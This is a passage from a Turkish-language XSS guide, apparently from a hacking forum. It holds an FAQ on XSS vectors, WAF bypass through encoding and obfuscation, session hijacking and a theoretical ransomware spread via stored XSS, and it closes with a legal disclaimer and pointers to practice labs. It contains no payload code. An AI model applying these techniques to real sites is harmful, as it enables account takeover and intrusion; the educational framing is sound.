| DOM based | Source-sink analizi | Zor | Düşük |
| Stored XSS | Kalıcı XSS bulma | Orta | Orta |
🧠 BÖLÜM 11: XSS HAKKINDA SIK SORULANLAR
S1: XSS ile SQL injection arasındaki fark nedir?
- SQLi: Veritabanına saldırır, veri çalar veya siler.
- XSS: Tarayıcıda çalışan JavaScript, kullanıcının oturumunu ele geçirir.
S2: XSS sadece <script> ile mi olur?
Hayır. Event handler'lar (onerror, onload), javascript: protokolü, CSS expression, <iframe>, <object>, <embed>, <svg>, <math> gibi birçok yöntemle XSS yapılabilir.S3: WAF'lar XSS'i tamamen engeller mi?
Hayır. Yukarıdaki bypass teknikleri sayesinde çoğu WAF aşılabilir. Özellikle encoding katmanları ve obfuscation ile.S4: XSS ile sunucuya dosya yükleyebilir miyim?
Doğrudan hayır, ama XSS ile kullanıcıyı yönlendirip dosya yükleme formunu doldurtabilirsin.S5: XSS ile ransomware yayılır mı?
Teorik olarak evet, eğer stored XSS varsa ve her sayfaya enjekte edilebiliyorsa, tüm kullanıcıların dosyalarını şifreleyen bir JavaScript yazılabilir (ancak modern tarayıcılarda kısıtlamalar var).⚠️;
XSS, web'in en eski ama hala en yaygın güvenlik açıklarından biridir. Bu rehberde öğrendiklerini sadece izinli sistemlerde ve eğitim amaçlı kullan. Yetkisiz sistemlerde XSS açığı aramak veya istismar etmek yasa dışıdır, hapis cezası vardır.Kendini geliştirmek için DVWA, PortSwigger lab'ları ve XSS game sitelerinde pratik yap. Unutma, en iyi hacker kendi sistemini koruyabilendir.
Bu rehber, eğitim ve bilgilendirme amaçlıdır. Tüm sorumluluk kullanıcıya aittir.
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl